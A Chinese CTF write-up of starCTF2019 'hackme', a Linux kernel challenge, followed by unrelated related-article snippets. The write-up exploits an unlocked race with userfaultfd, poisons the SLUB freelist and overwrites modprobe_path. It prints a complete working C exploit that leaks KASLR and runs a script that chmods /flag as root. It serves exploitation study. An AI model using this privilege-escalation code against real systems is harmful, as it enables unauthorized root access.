【userfaultfd 条件竞争】starCTF2019 - hackme

前言

呜呜呜,这题不难,但是差不多一个多月没碰我的女朋友 kernel pwn 了,对我的 root 宝宝也是非常想念,可惜这题没有找到我的 root 宝宝,就偷了她的 flag

哎有点生疏了,这题没看出来堆溢出,直接条件竞争打了,但感觉条件竞争打简单一些。

题目分析

内核版本 4.20.13
开了 smap/smep/kaslr
给了 config 配置文件,查看得到如下信息:

# CONFIG_SLAB is not set
# CONFIG_SLAB_MERGE_DEFAULT is not set
# CONFIG_SLAB_FREELIST_RANDOM is not set
# CONFIG_SLAB_FREELIST_HARDENED is not set
# CONFIG_STATIC_USERMODEHELPER is not set

所以这里的 slub obj 的 freelist 在头8字节,调试也是如此
然后题目实现了一个菜单堆,有增删改查的功能,漏洞主要全程没用上锁,但是我做完后去网上搜了一下,发现这题还有堆溢出,这里堆溢出就不说了,笔者是利用条件竞争做的:
在这里插入图片描述
网上说这里 offset 可以为负数,导致向上溢出:) 这里我看比较是 unsigned 的就没想着溢出,而且条件竞争也很明显

漏洞利用

整体比较简单,就不多说了,主要就记录一下关键点,其实这里利用方式还挺多的,毕竟堆块大小没有限制

初始想法 seq_operations + pt_regs 进行提权 【X 没有合适的 gadget】

这里讲下为啥失败,因为这里的 gadget 大多都是这样的:)这里找了好久的 gadget,没一个行的
在这里插入图片描述
可以看到这里的 pop r10; lea rsp, [r10-8] 导致了我们无法成功劫持 rsp, 除非泄漏内核栈地址,但是如果都可以泄漏内核栈地址了,就不用这样搞了

修改 freelist 劫持 modprobe_path

劫持 freelist 的时候,这里不要直接修改 freelistmodprobe_path,因为系统可能会分配堆块,这时候就会报错,为啥呢?话不多说,放图:
在这里插入图片描述
这里的 /sbin/xxx 肯定是个无效的地址啊,但是这里发现 modprobe_path 前面就是一片0区域,所以让 freelist 指向0区域即可
exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/shm.h>
#include <sys/wait.h>int fd;
int seq_fd;
uint64_t koffset;
uint64_t swapgs_kpti   = 0xffffffff8120092e;
uint64_t magic_gadget  = 0xffffffff811dad61; // add rsp, 0x38 ; ret
uint64_t pop_rdi       = 0xffffffff81033de0; // : pop rdi ; ret;
uint64_t init_cred     = 0xffffffff8183f380; // D init_cred
uint64_t commit_creds  = 0xffffffff8104d220; // T commit_creds;
uint64_t modprobe_path = 0xffffffff8183f960;struct request {long long idx;char* buf;long long len;long long off;
};void add(long long idx, char* buf, long long len)
{struct request req = { .idx = idx, .buf = buf, .len = len };ioctl(fd, 0x30000, &req);
}void dele(long long idx)
{struct request req = { .idx = idx };ioctl(fd, 0x30001, &req);
}void kwrite(long long idx, char* buf, long long off, long len)
{struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };ioctl(fd, 0x30002, &req);
}void kread(long long idx, char* buf, long long off, long len)
{struct request req = { .idx = idx, .buf = buf, .off = off, .len = len };ioctl(fd, 0x30003, &req);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");sleep(5);exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");/* to exit the process normally, instead of segmentation fault */exit(EXIT_SUCCESS);
}/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{asm volatile ("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}char copy_src[0x1000];
void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");dele(0);open("/proc/self/stat", O_RDONLY);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* handler0(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");uint64_t* ptr = copy_src;ptr[0] = modprobe_path-0x10;dele(0);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void get_flag(){system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /home/pwn/x"); // modeprobe_path 修改为了 /tmp/xsystem("chmod +x /home/pwn/x");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/pwn/dummy"); // 非法格式的二进制文件system("chmod +x /home/pwn/dummy");system("/home/pwn/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/xsleep(0.3);system("cat /flag");exit(0);
}int main(int argc, char** argv, char** envp)
{fd = open("/dev/hackme", O_RDONLY);char buf[0x300] = { 0 };add(0, buf, 0x20);void* uffd_buf;pthread_t moniter_thr;uffd_buf = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(&moniter_thr, uffd_buf, 0x1000, handler);kread(0, uffd_buf, 0, 0x20);binary_dump("seq_operations data", uffd_buf, 0x20);koffset = *(uint64_t*)(uffd_buf + 8) - 0xffffffff810d30e0;modprobe_path += koffset;hexx("koffset", koffset);hexx("modprobe_path", modprobe_path);add(0, buf, 0x80);void* uffd_buf0;pthread_t moniter_thr0;uffd_buf0 = mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);register_userfaultfd(&moniter_thr0, uffd_buf0, 0x1000, handler0);kwrite(0, uffd_buf0, 0, 0x8);
/*__asm__("mov r15,   0xdeadbeef;""mov r14,   0x11111111;""mov r13,   0x22222222;""mov r12,   0x33333333;""mov rbp,   0x44444444;""mov rbx,   0x55555555;""mov r11,   0x66666666;""mov r10,   0x77777777;""mov r9,    0x88888888;""mov r8,    0x99999999;""xor rax,   rax;""mov rcx,   0xaaaaaaaa;""mov rdx,   8;""mov rsi,   rsp;""mov rdi,   seq_fd;""syscall");
*/puts("[+] hajick modprobe_path");add(1, buf, 0x80);char* cmd = "/home/pwn/x";strncpy(buf+0x10, cmd, strlen(cmd));add(2, buf, 0x80);get_flag();puts("[+] EXP NEVER END");return 0;
}

效果如下:
在这里插入图片描述

总结

好久没碰 kernel pwn,写 exp 很不熟练了,期末后再练练,复现一些 cve

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/592550.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Linux引导过程与服务控制

目录 一、操作系统引导过程 1. 过程图示 2. 步骤解析 2.1 bios 2.2 mbr 2.3 grup 2.4 加载内核文件 3. 过程总结 4. centos6和centos7启动区别 5. 小结 二、服务控制及切换运行级别 1. systemd核心概念 2. 运行级别 3. Systemd单元类型 4. 运行级别所对应的Syst…

基于YOLOv8深度学习的人脸面部表情识别系统【python源码+Pyqt5界面+数据集+训练代码】深度学习实战

《博主简介》 小伙伴们好&#xff0c;我是阿旭。专注于人工智能、AIGC、python、计算机视觉相关分享研究。 ✌更多学习资源&#xff0c;可关注公-仲-hao:【阿旭算法与机器学习】&#xff0c;共同学习交流~ &#x1f44d;感谢小伙伴们点赞、关注&#xff01; 《------往期经典推…

js文件上传 分片上传/断点续传/极速秒传

(极速秒传)利用md5判断上传的文件是否存在 MD5信息摘要算法&#xff0c;一种被广泛使用的密码散列函数&#xff0c;可以产生出一个128位&#xff08;16字节&#xff09;的散列值&#xff08;hash value&#xff09;&#xff0c;用于确保信息传输完整一致。 每一个文件都会生成…

对接第三方接口鉴权(Spring Boot+Aop+注解实现Api接口签名验证)

前言 一个web系统&#xff0c;从接口的使用范围也可以分为对内和对外两种&#xff0c;对内的接口主要限于一些我们内部系统的调用&#xff0c;多是通过内网进行调用&#xff0c;往往不用考虑太复杂的鉴权操作。但是&#xff0c;对于对外的接口&#xff0c;我们就不得不重视这个…

Elasticsearch:结合 ELSER 和 BM25 文本查询的相关搜索

Elastic Learned Spare EncodeR (ELSER) 允许你执行语义搜索以获得更相关的搜索结果。 然而&#xff0c;有时&#xff0c;将语义搜索结果与常规关键字搜索结果相结合以获得最佳结果会更有用。 问题是&#xff0c;如何结合文本和语义搜索结果&#xff1f; 首先&#xff0c;让我…

Java异常篇----第二篇

系列文章目录 文章目录 系列文章目录前言一、 Excption与Error包结构二、Thow与thorws区别三、Error与Exception区别?四、error和exception有什么区别前言 前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站,这篇文章男女…

1213:八皇后问题 深度优先搜索算法

1213&#xff1a;八皇后问题 时间限制: 1000 ms 内存限制: 65536 KB 【题目描述】 在国际象棋棋盘上放置八个皇后&#xff0c;要求每两个皇后之间不能直接吃掉对方。 【输入】 (无) 【输出】 按给定顺序和格式输出所有八皇后问题的解&#xff08;见样例&#xff09;。 题目…

Spring源码之依赖注入(二)

书接上文 文章目录 一. Autowire底层注入逻辑1. 属性注入逻辑 一. Autowire底层注入逻辑 前面我们分析了Spring时如何找到某个目标类的所有注入点这一个核心逻辑&#xff0c;但还没又对核心注入方法inject进行详细分析&#xff0c;下面我们就来详细分析Spring拿到所有的注入点…

【CASS精品教程】CASS11计算城镇建筑密度

CASS中可以很方便计算建筑密度。 文章目录 一、建筑密度介绍二、CASS计算建筑密度1. 绘制宗地范围2. 绘制建筑物3. 计算建筑密度三、注意事项一、建筑密度介绍 建筑密度(building density;building coverage ratio),指在一定范围内,建筑物的基底面积总和与占用地面积的比…

纠删码ReedSolomon

随着大数据技术的发展&#xff0c;HDFS作为Hadoop的核心模块之一得到了广泛的应用。为了数据的可靠性&#xff0c;HDFS通过多副本机制来保证。在HDFS中的每一份数据都有两个副本&#xff0c;1TB的原始数据需要占用3TB的磁盘空间&#xff0c;存储利用率只有1/3。而且系统中大部分…

Spring Boot 2.7.11 集成 GraphQL

GraphQL介绍 GraphQL&#xff08;Graph Query Language&#xff09;是一种用于API的查询语言和运行时环境&#xff0c;由Facebook于2012年创建并在2015年公开发布。与传统的RESTful API相比&#xff0c;GraphQL提供了更灵活、高效和强大的数据查询和操作方式。 以下是GraphQL…

Spring技术内幕笔记之SpringMvc

WebApplicationContext接口的类继承关系 org.springframework.web.context.ContextLoader#initWebApplicationContext 对IOC容器的初始化 SpringMvc如何设计 DispatcherServlet类继承关系 MVC处理流程图如下&#xff1a; DispatcherServlet的工作大致可以分为两个部分&#xf…

NFC物联网开发智能衣橱解决方案

智能衣橱是智能家居的重要内容&#xff0c;现代家居市场对家居智能化控制尤为重视。但是&#xff0c;传统家居生产功能和模式已经无法满足智能化时代的需求&#xff0c;所以家居智能化成为家居行业发展的主要需求。与传统衣橱对比&#xff0c;智能衣橱的功能强大方便人们的生活…

Android--Jetpack--WorkManager详解

2024已经到来&#xff0c;愿你安睡时&#xff0c;山河入梦。愿你醒来时&#xff0c;满目春风。愿你欢笑时&#xff0c;始终如一。愿你行进时&#xff0c;前程似锦&#xff0c;坦荡从容。 编程语言的未来&#xff1f; 目录 一&#xff0c;定义 二&#xff0c;特点 三&#xff0c…

‘vue-cli-service‘ 不是内部或外部命令,也不是可运行的程序 或批处理文件。这个问题如何解决?

这个错误信息 vue-cli-service 不是内部或外部命令&#xff0c;也不是可运行的程序或批处理文件 表示 vue-cli-service 命令在你的系统上未被识别。这通常是因为 Vue CLI 没有被正确安装或其路径没有被加入到系统的环境变量中。以下是几个解决这个问题的步骤&#xff1a; 确认 …

LinkedList与ArrayList的比较

1.LinkedList 基于双向链表&#xff0c;无需连续内存 随机访问慢&#xff08;要沿着链表遍历&#xff09; 头尾插入删除性能高 占用内存多 2.ArrayList 基于数组&#xff0c;需要连续内存 随机访问快&#xff08;指根据下标访问&#xff09; 尾部插入、删除性能可以&…

从0搭建github.io网页

点击跳转到&#x1f517;我的博客文章目录 从0搭建github.io网页 文章目录 从0搭建github.io网页1.成果展示1.1 网址和源码1.2 页面展示 2.new对象2.1 创建仓库 3.github.io仓库的初始化3.1 千里之行&#xff0c;始于足下3.2 _config.yml3.3 一点杂活 4.PerCheung.github.io.p…

Linux 命令echo

命令作用 输出一行字符串在shell中&#xff0c;可以打印变量的值输出结果写入到文件在显示器上显示一段文字&#xff0c;起到提示的作用 语法 echo [选项] [字符串] 参数 字符含义-n不自动换行-e解释转义字符-E不解释转义字符 如果-e有效&#xff0c;则识别以下序列&…

SpringBoot 项目如何生成 swagger 文档

推荐使用 springdoc-openapi 的理由 1、springdoc-openapi 是 spring 官方出品&#xff0c;与 springboot 兼容更好&#xff08;springfox 兼容有坑&#xff09; 2、springdoc-openapi 社区更活跃&#xff0c;springfox 已经 2 年没更新了 3、springdoc-openapi 的注解更接近 …

(一)Matlab数值计算基础

目录 1.1Matlab命令组成 1.1.1基本符号 1.1.2功能符号 1.1.3常用命令 1.1Matlab命令组成 1.1.1基本符号 #提示运算符&#xff0c;表示软件处于准备就绪状态。在提示符号后输入一条命令或者一段程序后按Enter键&#xff0c;软件将给出相应的结果 >> *…